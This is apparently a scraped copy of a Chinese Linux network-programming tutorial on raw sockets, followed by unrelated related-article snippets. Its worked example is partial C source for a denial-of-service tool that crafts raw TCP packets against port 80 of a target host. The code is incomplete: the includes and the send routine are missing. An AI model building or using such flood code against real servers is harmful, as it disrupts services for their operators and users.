Linux原始网络编程,Linux操作系统网络编程 原始套接字 (1)
Linux操作系统网络编程--原始套接字 (1)
http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW)。应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建。
原始套接字的创建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用
一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostnamena",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
Linux原始网络编程,Linux操作系统网络编程 原始套接字 (1)相关推荐
- Linux 网络编程详解一(IP套接字结构体、网络字节序,地址转换函数)
IPv4套接字地址结构 struct sockaddr_in {uint8_t sinlen;(4个字节)sa_family_t sin_family;(4个字节)in_port_t sin_port ...
- Linux网络编程——端口复用(多个套接字绑定同一个端口)
在<绑定( bind )端口需要注意的问题>提到:一个网络应用程序只能绑定一个端口( 一个套接字只能绑定一个端口 ). 实际上,默认的情况下,如果一个网络应用程序的一个套接字 绑定了一个端 ...
- C++网络编程(一):TCP套接字编程
目录 基本数据结构 TCP服务器端的默认函数调用顺序 TCP客户端的默认函数调用情况 TCP网络编程主要流程 TCP客户端套接字的地址分配 TCP套接字的I/O缓存 代码实例 面试常见问题详解 参考资 ...
- C++网络编程(二):UDP套接字编程
目录 基本特点 流程 基于UDP的数据I/O函数 UDP客户端套接字的地址分配 UDP套接字的数据边界 未连接UDP套接字.已连接UDP套接字 创建已连接UDP套接字 代码示例 参考资料 基本特点 U ...
- 【并发编程七】C++进程通信——套接字(socket)_80行代码实现一个聊天软件
[并发编程七]进程通信--套接字(socket)_80行代码实现一个聊天软件 一.简介 二.相关知识介绍 1.winsock1.h.winsock2.h 2.如何使用ws2_32.dll 3.WSAS ...
- linux c ip数据包,如何在Linux上的C / C ++中使用ipv6 udp套接字进行多播?
(英语不是我的母语,不用担心某些句子是否很奇怪:). 我正在开发 PONG游戏, 并且通过创建一些类来帮助我管理窗口,事件-和 网络, 因为我在游戏中添加了 LAN功能 ,但是当前您必须输入您想与之联 ...
- muduo网络库学习(二)对套接字和监听事件的封装Channel
muduo对描述符fd,需要监听的事件events,当fd被激活调用的可读/可写/关闭/错误回调函数进行了封装,实现在Channel类中,Poller监听的其实就是一个个Channel对象,Chann ...
- Linux网络编程 - 套接字与协议族
一 理解网络编程和套接字(socket) 1.1 网络编程和套接字概要 网络编程就是编程程序使两台连网的计算机可以互相交换数据.那么,这两台计算机之间用什么传输数据呢?首先需要物理连接.如今大部分计算 ...
- 嵌入式linux网络编程之——5年程序员给你深度讲解socket套接字
以下内容转载自 https://www.toutiao.com/i6827837032622981636/ 本文主要给大家分享网络七层概念之网络编程socket,前边的章节已经给大家讲述了链路层.物理 ...
- Linux网络编程——Unix本地套接字
概述 今天给大家讲解网络编程中的一个内容--Unix 本地套接字. 发现很多人不知道或者不太了解 Unix 本地套接字这个概念,这也难怪,socket API 原本就是为多台主机之间网络通信设计的,并 ...
最新文章
- linux系统源码安装教程,linux之源码包安装步骤
- Linux下如何查看tomcat是否启动/系统日志等
- IOS进阶之WKWebView
- 从零开始学习python-新手学习python-从零开始学习
- 前端基础到进阶(1):HTML基础入门
- angularjs自动加载和手动加载
- Flask 数据库迁移(详解)
- 数据库系统的结构(三级模式、两级映像)
- Nebula Graph - SpringBoot 操作 Nebula
- 高中计算机知识竞赛,数学系、计算机科学系举行2016年“师范技能竞赛月”之高中数学知识竞赛...
- 彻底搞懂单例模式的懒汉式饿汉式 双检索 线程安全问题
- 【算法导论】 内部排序算法总结
- 智慧政务行业发展报告
- 通过PHP调用天市数据的水电煤缴费接口
- 计算机丢失sspicli,MS16-047:SAM 和 LSAD 远程协议安全更新程序说明:2016 年 4 月 12 日...
- 看一遍就理解:IO模型详解
- KDYD-JC自动高压漆膜连续性试验仪
- POI操作word模板并生成新的word.docx
- 计算机电子电路基础教程视频,电子电路基础详细视频教学(100集)
- Layui——创建前端模板
热门文章
- css隐藏滚动条、兼容
- 运行Java程序时 Tomcat出错 显示端口被占用
- 修改文件 华为交换机_华为交换机系统文件管理配置命令大全(二)
- cuda加速的头文件_如何从C ++头文件调用CUDA文件?
- 内部矩阵维度必须一致simulink_深度学习/目标检测之numpy——向量和矩阵乘法相关...
- python设置随机数种子为12_Python标准库12 数学与随机数 (math包,random包)(转载)...
- python ndarray append_9-Python-NumPy数组元素的添加与删除
- BugkuCTF-WEB题file_get_contents
- java中挂起和恢复,应用程序“未能及时恢复”并挂起
- golang web php,golang 适合做web开发吗